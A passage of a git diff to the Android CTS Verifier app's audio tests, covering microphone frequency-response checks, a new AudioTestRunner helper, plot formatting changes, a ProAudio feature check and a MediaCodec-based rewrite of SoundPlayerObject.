+        double[] background = new double[points];
+
+        mFreqAverageTone.getData(tone, false);
+        mFreqAverageNoise.getData(noise, false);
+        mFreqAverageUsbNoise.getData(reference, false);
+        mFreqAverageUsbBackground.getData(background, false);
+
+        //Convert to dB
+        double[] toneDb = new double[points];
+        double[] noiseDb = new double[points];
+        double[] referenceDb = new double[points];
+        double[] backgroundDb = new double[points];
+
+        double[] compensatedNoiseDb = new double[points];
+
+        for (int i = 0; i < points; i++) {
+            toneDb[i] = 20 * Math.log10(tone[i]);
+            noiseDb[i] = 20 * Math.log10(noise[i]);
+            referenceDb[i] = 20 * Math.log10(reference[i]);
+            backgroundDb[i] = 20 * Math.log10(background[i]);
+
+            //Use reference measurement to compensate for speaker response.
+            compensatedNoiseDb[i] = noiseDb[i] - referenceDb[i];
+        }
+
+        mResultsMic.reset();
+        mResultsTone.reset();
+        mResultsBack.reset();
+
+        mResultsMic.mValuesLog = compensatedNoiseDb;
+        mResultsTone.mValuesLog = toneDb;
+        mResultsBack.mValuesLog = backgroundDb;
+
+        processSpectrum(mResultsMic, mBandSpecsMic, 1);
+        processSpectrum(mResultsTone, mBandSpecsTone, 1);
+        processSpectrum(mResultsBack, mBandSpecsBack, -1); //no reference for offset
+
+        //Tone test
+        boolean toneTestSuccess = true;
+        {
+            //rms level should be -36 dbfs +/- 3 db?
+            double rmsMaxDb = 20 * Math.log10(mRMSMaxTone);
+            sb.append(String.format("RMS level of tone: %.2f dBFS\n", rmsMaxDb));
+            sb.append(String.format("Target RMS level: %.2f dBFS +/- %.2f dB\n",
+                    TONE_RMS_EXPECTED,
+                    TONE_RMS_MAX_ERROR));
+            //check that the spectrum is really a tone around 1 khz
+            if (Math.abs(rmsMaxDb - TONE_RMS_EXPECTED) > TONE_RMS_MAX_ERROR) {
+                toneTestSuccess = false;
+                sb.append("RMS level test FAILED\n");
+            } else {
+                sb.append(" RMS level test SUCCESSFUL\n");
+            }
+        }
+
+        sb.append("\n");
+        sb.append(mResultsTone.toString());
+        if (mResultsTone.testAll()) {
+            sb.append(" 1 Khz Tone Frequency Response Test SUCCESSFUL\n");
+        } else {
+            sb.append(" 1 Khz Tone Frequency Response Test FAILED\n");
+        }
+        sb.append("\n");
+
+        sb.append("\n");
+        sb.append(mResultsBack.toString());
+        if (mResultsBack.testAll()) {
+            sb.append(" Background environment Test SUCCESSFUL\n");
+        } else {
+            sb.append(" Background environment Test FAILED\n");
+        }
+
+        sb.append("\n");
+        sb.append(mResultsMic.toString());
+        if (mResultsMic.testAll()) {
+            sb.append(" Frequency Response Test SUCCESSFUL\n");
+        } else {
+            sb.append(" Frequency Response Test FAILED\n");
+        }
+        sb.append("\n");
+
+        recordTestResults(mResultsTone);
+        recordTestResults(mResultsMic);
+
+        boolean allTestsPassed = false;
+        if (mResultsMic.testAll() && mResultsTone.testAll() && toneTestSuccess &&
+                mResultsBack.testAll()) {
+            allTestsPassed = true;
+            String strSuccess = getResources().getString(R.string.audio_general_test_passed);
+            sb.append(strSuccess);
+        } else {
+            String strFailed = getResources().getString(R.string.audio_general_test_failed);
+            sb.append(strFailed);
+        }
+        sb.append("\n");
+
+        getPassButton().setEnabled(allTestsPassed);
+        return sb.toString();
+    }
+
+    Thread mTestThread;
+    private void startTest(int testId) {
+        if (mTestThread != null && mTestThread.isAlive()) {
+            Log.v(TAG, "test Thread already running.");
+            return;
+        }
+        mRMS = 0;
+        mRMSMax = 0;
+        Log.v(TAG,"Executing test Thread");
+        switch(testId) {
+            case TEST_TONE:
+                mTestThread = new Thread(new TestRunnable(TEST_TONE) {
+                    public void run() {
+                        super.run();
+                        if (!mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE,
+                                    "Testing Built in Microphone: Tone");
+                            mRMSTone = 0;
+                            mRMSMaxTone = 0;
+                            mFreqAverageTone.reset();
+                            mFreqAverageTone.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                            record(TEST_DURATION_TONE_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "Please Unplug USB Microphone");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+            case TEST_NOISE:
+                mTestThread = new Thread(new TestRunnable(TEST_NOISE) {
+                    public void run() {
+                        super.run();
+                        if (!mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE,
+                                    "Testing Built in Microphone: Noise");
+                            mFreqAverageNoise.reset();
+                            mFreqAverageNoise.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                            record(TEST_DURATION_NOISE_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "Please Unplug USB Microphone");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+            case TEST_USB_BACKGROUND:
+                playerStopAll();
+                mTestThread = new Thread(new TestRunnable(TEST_USB_BACKGROUND) {
+                    public void run() {
+                        super.run();
+                        if (mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE,
+                                    "Testing USB Microphone: background");
+                            mFreqAverageUsbBackground.reset();
+                            mFreqAverageUsbBackground.setCaptureType(
+                                    VectorAverage.CAPTURE_TYPE_AVERAGE);
+                            record(TEST_DURATION_USB_BACKGROUND_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "USB Microphone not detected.");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+            case TEST_USB_NOISE:
+                mTestThread = new Thread(new TestRunnable(TEST_USB_NOISE) {
+                    public void run() {
+                        super.run();
+                        if (mUsbMicConnected) {
+                            sendMessage(mTestId, TEST_MESSAGE, "Testing USB Microphone: Noise");
+                            mFreqAverageUsbNoise.reset();
+                            mFreqAverageUsbNoise.setCaptureType(VectorAverage.CAPTURE_TYPE_MAX);
+                            record(TEST_DURATION_USB_NOISE_MS);
+                            sendMessage(mTestId, TEST_ENDED, "Testing Completed");
+                            mTestsDone[mTestId] = true;
+                        } else {
+                            sendMessage(mTestId, TEST_ENDED_ERROR,
+                                    "USB Microphone not detected.");
+                            mTestsDone[mTestId] = false;
+                        }
+                    }
+                });
+                break;
+        }
+        mTestThread.start();
+    }
+
+    public class TestRunnable implements Runnable {
+        public int mTestId;
+        public boolean mUsbMicConnected;
+        TestRunnable(int testId) {
+            Log.v(TAG,"New TestRunnable");
+            mTestId = testId;
+        }
+        public void run() {
+            mCurrentTest = mTestId;
+            sendMessage(mTestId, TEST_STARTED,"");
+            mUsbMicConnected =
+                    UsbMicrophoneTester.getIsMicrophoneConnected(getApplicationContext());
+        };
+        public void record(int durationMs) {
+            mSRecorder.startRecording();
+            try {
+                Thread.sleep(durationMs);
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+                //restore interrupted status
+                Thread.currentThread().interrupt();
+            }
+            mSRecorder.stopRecording();
+        }
+        public void sendMessage(int testId, int msgType, String str) {
+            Message msg = Message.obtain();
+            msg.what = msgType;
+            msg.obj = str;
+            msg.arg1 = testId;
+            mMessageHandler.sendMessage(msg);
+        }
+    }
+
+    private Handler mMessageHandler = new Handler() {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            int testId = msg.arg1; //testId
+            String str = (String) msg.obj;
+            switch (msg.what) {
+                case TEST_STARTED:
+                    showWait(testId, true);
+                    break;
+                case TEST_MESSAGE:
+                    showMessage(testId, str);
+                    break;
+                case TEST_ENDED:
+                    showWait(testId, false);
+                    playerStopAll();
+                    showMessage(testId, str);
+                    appendResultsToScreen(testId, "test finished");
+                    computeAllResults();
+                    break;
+                case TEST_ENDED_ERROR:
+                    showWait(testId, false);
+                    playerStopAll();
+                    showMessage(testId, str);
+                    computeAllResults();
+                default:
+                    Log.e(TAG, String.format("Unknown message: %d", msg.what));
+            }
+        }
+    };
+
+    private class Results {
+        private int mBandCount;
+        private String mLabel;
+        public double[] mValuesLog;
+        int[] mPointsPerBand; // = new int[mBands];
+        double[] mAverageEnergyPerBand;// = new double[mBands];
+        int[] mInBoundPointsPerBand;// = new int[mBands];
+        public Results(String label, int bandCount) {
+            mLabel = label;
+            mBandCount = bandCount;
+            mPointsPerBand = new int[mBandCount];
+            mAverageEnergyPerBand = new double[mBandCount];
+            mInBoundPointsPerBand = new int[mBandCount];
+        }
+        public void reset() {
+            for (int i = 0; i < mBandCount; i++) {
+                mPointsPerBand[i] = 0;
+                mAverageEnergyPerBand[i] = 0;
+                mInBoundPointsPerBand[i] = 0;
+            }
+        }
+
+        //append results
+        public String toString() {
+            StringBuilder sb = new StringBuilder();
+            sb.append(String.format("Channel %s\n", mLabel));
+            for (int b = 0; b < mBandCount; b++) {
+                double percent = 0;
+                if (mPointsPerBand[b] > 0) {
+                    percent = 100.0 * (double) mInBoundPointsPerBand[b] / mPointsPerBand[b];
+                }
+                sb.append(String.format(
+                        " Band %d: Av. Level: %.1f dB InBand: %d/%d (%.1f%%) %s\n",
+                        b, mAverageEnergyPerBand[b],
+                        mInBoundPointsPerBand[b],
+                        mPointsPerBand[b],
+                        percent,
+                        (testInBand(b) ? "OK" : "Not Optimal")));
+            }
+            return sb.toString();
+        }
+
+        public boolean testInBand(int b) {
+            if (b >= 0 && b < mBandCount && mPointsPerBand[b] > 0) {
+                if ((double) mInBoundPointsPerBand[b] / mPointsPerBand[b] >
+                    MIN_FRACTION_POINTS_IN_BAND) {
+                        return true;
+                }
+            }
+            return false;
+        }
+
+        public boolean testAll() {
+            for (int b = 0; b < mBandCount; b++) {
+                if (!testInBand(b)) {
+                    return false;
+                }
+            }
+            return true;
+        }
+    }
+
+    //append results
+    private void appendResultsToScreen(String str, TextView text) {
+        String currentText = text.getText().toString();
+        text.setText(currentText + "\n" + str);
+    }
+
+    private void appendResultsToScreen(int testId, String str) {
+        switch(testId) {
+            case TEST_TONE:
+                appendResultsToScreen(str, mResultTestTone);
+                showToneRMS();
+                break;
+            case TEST_NOISE:
+                appendResultsToScreen(str, mResultTestNoise);
+                break;
+            case TEST_USB_BACKGROUND:
+                appendResultsToScreen(str, mResultTestUsbBackground);
+                break;
+            case TEST_USB_NOISE:
+                appendResultsToScreen(str, mResultTestUsbNoise);
+                break;
+        }
+    }
+
+    /**
+     * Store test results in log
+     */
+    private void recordTestResults(Results results) {
+        String channelLabel = "channel_" + results.mLabel;
+
+        for (int b = 0; b < results.mBandCount; b++) {
+            String bandLabel = String.format(channelLabel + "_%d", b);
+            getReportLog().addValue(
+                    bandLabel + "_Level",
+                    results.mAverageEnergyPerBand[b],
+                    ResultType.HIGHER_BETTER,
+                    ResultUnit.NONE);
+
+            getReportLog().addValue(
+                    bandLabel + "_pointsinbound",
+                    results.mInBoundPointsPerBand[b],
+                    ResultType.HIGHER_BETTER,
+                    ResultUnit.COUNT);
+
+            getReportLog().addValue(
+                    bandLabel + "_pointstotal",
+                    results.mPointsPerBand[b],
+                    ResultType.NEUTRAL,
+                    ResultUnit.COUNT);
+        }
+
+        getReportLog().addValues(channelLabel + "_magnitudeSpectrumLog",
+                results.mValuesLog,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+
+        Log.v(TAG, "Results Recorded");
+    }
+
+    private void recordHeasetPortFound(boolean found) {
+        getReportLog().addValue(
+                "User Reported Headset Port",
+                found ? 1.0 : 0,
+                ResultType.NEUTRAL,
+                ResultUnit.NONE);
+    }
+
+    private void showToneRMS() {
+        String str = String.format("RMS: %.3f dBFS. Max RMS: %.3f dBFS",
+                20 * Math.log10(mRMSTone),
+                20 * Math.log10(mRMSMaxTone));
+        showMessage(TEST_TONE, str);
+    }
+
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTestRunner.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTestRunner.java
new file mode 100644
index 0000000..8e0ff33
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioTestRunner.java
@@ -0,0 +1,104 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+import android.os.Handler;
+import android.os.Message;
+import android.util.Log;
+
+public class AudioTestRunner implements Runnable {
+
+    public static final int TEST_STARTED = 900;
+    public static final int TEST_MESSAGE = 903;
+    public static final int TEST_ENDED_OK = 904;
+    public static final int TEST_ENDED_ERROR = 905;
+
+    private final String mTag;
+    public final int mTestId;
+    private final Handler mHandler;
+    AudioTestRunner(String tag, int testId, Handler handler) {
+        mTag = tag;
+        mTestId = testId;
+        mHandler = handler;
+        Log.v(mTag,"New AudioTestRunner test: " + mTestId);
+    }
+    public void run() {
+        sendMessage(mTestId, TEST_STARTED,"");
+    };
+
+    public void sleep(int durationMs) {
+        try {
+            Thread.sleep(durationMs);
+        } catch (InterruptedException e) {
+            e.printStackTrace();
+            //restore interrupted status
+            Thread.currentThread().interrupt();
+        }
+    }
+
+    public void sendMessage(int msgType, String str) {
+        sendMessage(mTestId, msgType, str);
+    }
+
+    public void sendMessage(int testId, int msgType, String str) {
+        Message msg = Message.obtain();
+        msg.what = msgType;
+        msg.obj = str;
+        msg.arg1 = testId;
+        mHandler.sendMessage(msg);
+    }
+
+    public static class AudioTestRunnerMessageHandler extends Handler {
+        public void handleMessage(Message msg) {
+            super.handleMessage(msg);
+            int testId = msg.arg1; //testId
+            String str = (String) msg.obj;
+            switch (msg.what) {
+                case TEST_STARTED:
+                    testStarted(testId, str);
+                    break;
+                case TEST_MESSAGE:
+                    testMessage(testId, str);
+                    break;
+                case TEST_ENDED_OK:
+                    testEndedOk(testId, str);
+                    break;
+                case TEST_ENDED_ERROR:
+                    testEndedError(testId, str);
+                    break;
+                default:
+                    Log.e("TestHandler", String.format("Unknown message: %d", msg.what));
+            }
+        }
+
+        public void testStarted(int testId, String str) {
+            //replace with your code
+        }
+
+        public void testMessage(int testId, String str) {
+            //replace with your code
+        }
+
+        public void testEndedOk(int testId, String str) {
+            //replace with your code
+        }
+
+        public void testEndedError(int testId, String str) {
+            //replace with your code
+        }
+    }
+}
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 1a9ffac..01802a4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -37,9 +37,12 @@
 import android.widget.TextView;
 import java.util.Arrays;
 
+import com.androidplot.xy.PointLabelFormatter;
+import com.androidplot.xy.LineAndPointFormatter;
 import com.androidplot.xy.SimpleXYSeries;
+import com.androidplot.xy.XYPlot;
 import com.androidplot.xy.XYSeries;
-import com.androidplot.xy.*;
+import com.androidplot.xy.XYStepMode;
 
 import com.android.compatibility.common.util.CddTest;
 
@@ -277,9 +280,9 @@
             Arrays.asList(powerWrap),
             "");
         LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+        seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
         seriesFormat.configure(getApplicationContext(),
             R.xml.ultrasound_line_formatter_trials);
-        seriesFormat.setPointLabelFormatter(null);
         plot.addSeries(series, seriesFormat);
       }
 
@@ -294,9 +297,9 @@
           Arrays.asList(noiseDBWrap),
           "background noise");
       LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
+      noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       noiseSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_noise);
-      noiseSeriesFormat.setPointLabelFormatter(null);
       plot.addSeries(noiseSeries, noiseSeriesFormat);
 
       double[] dB = wavAnalyzerTask.getDB();
@@ -310,9 +313,9 @@
           Arrays.asList(dBWrap),
           "median");
       LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+      seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       seriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_median);
-      seriesFormat.setPointLabelFormatter(null);
       plot.addSeries(series, seriesFormat);
 
       Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -320,9 +323,9 @@
       XYSeries passSeries = new SimpleXYSeries(
           Arrays.asList(passX), Arrays.asList(passY), "passing");
       LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
+      passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       passSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_pass);
-      passSeriesFormat.setPointLabelFormatter(null);
       plot.addSeries(passSeries, passSeriesFormat);
     }
   }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
index 0276e60..9aebbc4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundTestActivity.java
@@ -37,9 +37,12 @@
 import android.widget.TextView;
 import java.util.Arrays;
 
+import com.androidplot.xy.PointLabelFormatter;
+import com.androidplot.xy.LineAndPointFormatter;
 import com.androidplot.xy.SimpleXYSeries;
+import com.androidplot.xy.XYPlot;
 import com.androidplot.xy.XYSeries;
-import com.androidplot.xy.*;
+import com.androidplot.xy.XYStepMode;
 
 public class HifiUltrasoundTestActivity extends PassFailButtons.Activity {
 
@@ -236,9 +239,9 @@
             Arrays.asList(powerWrap),
             "");
         LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+        seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
         seriesFormat.configure(getApplicationContext(),
             R.xml.ultrasound_line_formatter_trials);
-        seriesFormat.setPointLabelFormatter(null);
         plot.addSeries(series, seriesFormat);
       }
 
@@ -253,9 +256,9 @@
           Arrays.asList(noiseDBWrap),
           "background noise");
       LineAndPointFormatter noiseSeriesFormat = new LineAndPointFormatter();
+      noiseSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       noiseSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_noise);
-      noiseSeriesFormat.setPointLabelFormatter(null);
       plot.addSeries(noiseSeries, noiseSeriesFormat);
 
       double[] dB = wavAnalyzerTask.getDB();
@@ -269,9 +272,9 @@
           Arrays.asList(dBWrap),
           "median");
       LineAndPointFormatter seriesFormat = new LineAndPointFormatter();
+      seriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       seriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_median);
-      seriesFormat.setPointLabelFormatter(null);
       plot.addSeries(series, seriesFormat);
 
       Double[] passX = new Double[] {Common.MIN_FREQUENCY_HZ, Common.MAX_FREQUENCY_HZ};
@@ -279,9 +282,9 @@
       XYSeries passSeries = new SimpleXYSeries(
           Arrays.asList(passX), Arrays.asList(passY), "passing");
       LineAndPointFormatter passSeriesFormat = new LineAndPointFormatter();
+      passSeriesFormat.setPointLabelFormatter(new PointLabelFormatter());
       passSeriesFormat.configure(getApplicationContext(),
           R.xml.ultrasound_line_formatter_pass);
-      passSeriesFormat.setPointLabelFormatter(null);
       plot.addSeries(passSeries, passSeriesFormat);
     }
   }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
index 30bc5fc..07a2d4d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/ProAudioActivity.java
@@ -46,6 +46,7 @@
     private static final boolean DEBUG = false;
 
     // Flags
+    private boolean mClaimsProAudio;
     private boolean mClaimsLowLatencyAudio;    // CDD ProAudio section C-1-1
     private boolean mClaimsMIDI;               // CDD ProAudio section C-1-4
     private boolean mClaimsUSBHostMode;        // CDD ProAudio section C-1-3
@@ -75,10 +76,19 @@
 
     CheckBox mClaimsHDMICheckBox;
 
+    // Borrowed from PassFailButtons.java
+    private static final int INFO_DIALOG_ID = 1337;
+    private static final String INFO_DIALOG_TITLE_ID = "infoDialogTitleId";
+    private static final String INFO_DIALOG_MESSAGE_ID = "infoDialogMessageId";
+
     public ProAudioActivity() {
         super();
     }
 
+    private boolean claimsProAudio() {
+        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_PRO);
+    }
+
     private boolean claimsLowLatencyAudio() {
         // CDD Section C-1-1: android.hardware.audio.low_latency
         return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_LOW_LATENCY);
@@ -158,13 +168,13 @@
     }
 
     private void calculatePass() {
-        boolean hasPassed =
-                mClaimsLowLatencyAudio && mClaimsMIDI &&
+        boolean hasPassed = !mClaimsProAudio ||
+                (mClaimsLowLatencyAudio && mClaimsMIDI &&
                 mClaimsUSBHostMode && mClaimsUSBPeripheralMode &&
                 (!mClaimsHDMI || isHDMIValid()) &&
                 mOutputDevInfo != null && mInputDevInfo != null &&
                 mRoundTripLatency != 0.0 && mRoundTripLatency <= LATENCY_MS_LIMIT &&
-                mRoundTripConfidence >= CONFIDENCE_LIMIT;
+                mRoundTripConfidence >= CONFIDENCE_LIMIT);
         getPassButton().setEnabled(hasPassed);
     }
 
@@ -261,6 +271,16 @@
         setPassFailButtonClickListeners();
         setInfoResources(R.string.proaudio_test, R.string.proaudio_info, -1);
 
+        mClaimsProAudio = claimsProAudio();
+        ((TextView)findViewById(R.id.proAudioHasProAudioLbl)).setText("" + mClaimsProAudio);
+
+        if (!mClaimsProAudio) {
+            Bundle args = new Bundle();
+            args.putInt(INFO_DIALOG_TITLE_ID, R.string.pro_audio_latency_test);
+            args.putInt(INFO_DIALOG_MESSAGE_ID, R.string.audio_proaudio_nopa_message);
+            showDialog(INFO_DIALOG_ID, args);
+        }
+
         mClaimsLowLatencyAudio = claimsLowLatencyAudio();
         ((TextView)findViewById(R.id.proAudioHasLLALbl)).setText("" + mClaimsLowLatencyAudio);
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java
index 23b71c0..0d93dbb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/SoundPlayerObject.java
@@ -17,39 +17,74 @@
 package com.android.cts.verifier.audio;
 
 import android.content.Context;
+import android.media.AudioAttributes;
 import android.media.AudioFormat;
 import android.media.AudioManager;
 import android.media.AudioTrack;
+import android.media.MediaCodec;
+import android.media.MediaCodecList;
+import android.media.MediaExtractor;
+import android.media.MediaFormat;
 import android.media.MediaPlayer;
 import android.net.Uri;
-import android.net.rtp.AudioStream;
 import android.util.Log;
 
 import com.android.cts.verifier.audio.wavelib.PipeShort;
 
 import java.io.IOException;
+import java.nio.ByteBuffer;
 
-public class SoundPlayerObject extends Thread {
+public class SoundPlayerObject implements Runnable, AudioTrack.OnPlaybackPositionUpdateListener {
     private static final String LOGTAG = "SoundPlayerObject";
+
+    private static final int TIME_OUT_US = 5000;
+    private static final int DEFAULT_BLOCK_SIZE = 4096;
+
     private MediaPlayer mMediaPlayer;
     private boolean isInitialized = false;
     private boolean isRunning = false;
 
+    private int bufferSize = 65536;
+    private PipeShort mDecoderPipe = new PipeShort(bufferSize);
     public PipeShort mPipe = new PipeShort(65536);
     private short[] mAudioShortArray;
 
-    public AudioTrack mAudioTrack;
-    public int mSamplingRate = 48000;
+    private AudioTrack mAudioTrack;
+    private int mSamplingRate = 48000;
     private int mChannelConfigOut = AudioFormat.CHANNEL_OUT_MONO;
     private int mAudioFormat = AudioFormat.ENCODING_PCM_16BIT;
-    int mMinPlayBufferSizeInBytes = 0;
-    int mMinBufferSizeInSamples = 0;
+    private int mMinPlayBufferSizeInBytes = 0;
+    private int mMinBufferSizeInSamples = 0;
 
     private int mStreamType = AudioManager.STREAM_MUSIC;
     private int mResId = -1;
-    private boolean mUseMediaPlayer = true;
+    private final boolean mUseMediaPlayer; //true: MediaPlayer, false: AudioTrack
     private float mBalance = 0.5f; //0 left, 1 right
 
+    private Object mLock = new Object();
+    private MediaCodec mCodec = null;
+    private MediaExtractor mExtractor = null;
+    private int mInputAudioFormat;
+    private int mInputSampleRate;
+    private int mInputChannelCount;
+
+    private boolean mLooping = true;
+    private Context mContext = null;
+
+    private final int mBlockSizeSamples;
+
+    private Thread mPlaybackThread;
+
+    public SoundPlayerObject() {
+        mUseMediaPlayer = true;
+        mBlockSizeSamples = DEFAULT_BLOCK_SIZE;
+    }
+
+    public SoundPlayerObject(boolean useMediaPlayer, int blockSize) {
+        mUseMediaPlayer = useMediaPlayer;
+        mBlockSizeSamples = blockSize;
+    }
+
     public int getCurrentResId() {
         return mResId;
     }
@@ -58,31 +93,159 @@
         return mStreamType;
     }
 
+    public int getChannelCount() {
+        return mInputChannelCount;
+    }
+
     public void run() {
-        setPriority(Thread.MAX_PRIORITY);
         isRunning = true;
+        int decodeRounds = 0;
+        MediaCodec.BufferInfo buffInfo = new MediaCodec.BufferInfo();
+
         while (isRunning) {
+            if (Thread.interrupted()) {
+                log("got thread interrupted!");
+                isRunning = false;
+                return;
+            }
 
-            if (!mUseMediaPlayer && isInitialized && isPlaying()) {
-                int valuesAvailable = mPipe.availableToRead();
-                if (valuesAvailable > 0) {
-
-                    int valuesOfInterest = valuesAvailable;
-                    if (mMinBufferSizeInSamples < valuesOfInterest) {
-                        valuesOfInterest = mMinBufferSizeInSamples;
-                    }
-                    mPipe.read(mAudioShortArray, 0,valuesOfInterest);
-                    //inject into output.
-                    mAudioTrack.write(mAudioShortArray, 0, valuesOfInterest);
-                }
-            } else {
+            if (mUseMediaPlayer) {
+                log("run . using media player");
                 try {
-                    sleep(10);
+                    Thread.sleep(10);
                 } catch (InterruptedException e) {
                     e.printStackTrace();
                 }
+            } else {
+                if (isInitialized && !outputEosSignalled) {
+
+                    synchronized (mLock) {
+
+                        int bytesPerSample = getBytesPerSample(mInputAudioFormat);
+
+                        int valuesAvailable = mDecoderPipe.availableToRead();
+                        if (valuesAvailable > 0 && mAudioTrack != null) {
+                            int valuesOfInterest = valuesAvailable;
+                            if (mMinBufferSizeInSamples < valuesOfInterest) {
+                                valuesOfInterest = mMinBufferSizeInSamples;
+                            }
+                            mDecoderPipe.read(mAudioShortArray, 0, valuesOfInterest);
+                            //inject into output.
+                            mAudioTrack.write(mAudioShortArray, 0, valuesOfInterest);
+
+                            //delay
+                            int delayMs = (int)(1000.0f * valuesOfInterest /
+                                    (float)(mInputSampleRate * bytesPerSample *
+                                            mInputChannelCount));
+                            delayMs = Math.max(2, delayMs);
+
+                            try {
+                                Thread.sleep(delayMs);
+                            } catch (InterruptedException e) {
+                                e.printStackTrace();
+                            }
+                        } else {
+                            //read another block if possible
+
+                            decodeRounds++;
+                            if (!inputEosSignalled) {
+                                final int inputBufIndex = mCodec.dequeueInputBuffer(TIME_OUT_US);
+                                if (inputBufIndex >= 0) {
+                                    ByteBuffer encodedBuf = mCodec.getInputBuffer(inputBufIndex);
+                                    final int sampleSize =
+                                            mExtractor.readSampleData(encodedBuf, 0 /* offset */);
+                                    long presentationTimeUs = 0;
+                                    if (sampleSize < 0) {
+                                        inputEosSignalled = true;
+                                        log("[v] input EOS at decode round " + decodeRounds);
+
+                                    } else {
+                                        presentationTimeUs = mExtractor.getSampleTime();
+                                    }
+                                    mCodec.queueInputBuffer(inputBufIndex, 0/*offset*/,
+                                            inputEosSignalled ? 0 : sampleSize, presentationTimeUs,
+                                            (inputEosSignalled && !mLooping) ?
+                                                    MediaCodec.BUFFER_FLAG_END_OF_STREAM : 0);
+                                    if (!inputEosSignalled) {
+                                        mExtractor.advance();
+                                    }
+
+                                    if (inputEosSignalled && mLooping) {
+                                        log("looping is enabled. Rewinding");
+                                        mExtractor.seekTo(0, MediaExtractor.SEEK_TO_PREVIOUS_SYNC);
+                                        inputEosSignalled = false;
+                                    }
+                                } else {
+                                    log("[v] no input buffer available at decode round "
+                                            + decodeRounds);
+                                }
+                            } //!inputEosSignalled
+
+                            final int outputRes = mCodec.dequeueOutputBuffer(buffInfo, TIME_OUT_US);
+
+                            if (outputRes >= 0) {
+                                if (buffInfo.size > 0) {
+                                    final int outputBufIndex = outputRes;
+                                    final ByteBuffer decodedBuf =
+                                            mCodec.getOutputBuffer(outputBufIndex);
+
+                                    short sValue = 0; //scaled to 16 bits
+                                    int index = 0;
+                                    for (int i = 0; i < buffInfo.size && index <
+                                            mAudioShortArray.length; i += bytesPerSample) {
+                                        switch (mInputAudioFormat) {
+                                            case AudioFormat.ENCODING_PCM_FLOAT:
+                                                sValue = (short) (decodedBuf.getFloat(i) * 32768.0);
+                                                break;
+                                            case AudioFormat.ENCODING_PCM_16BIT:
+                                                sValue = (short) decodedBuf.getShort(i);
+                                                break;
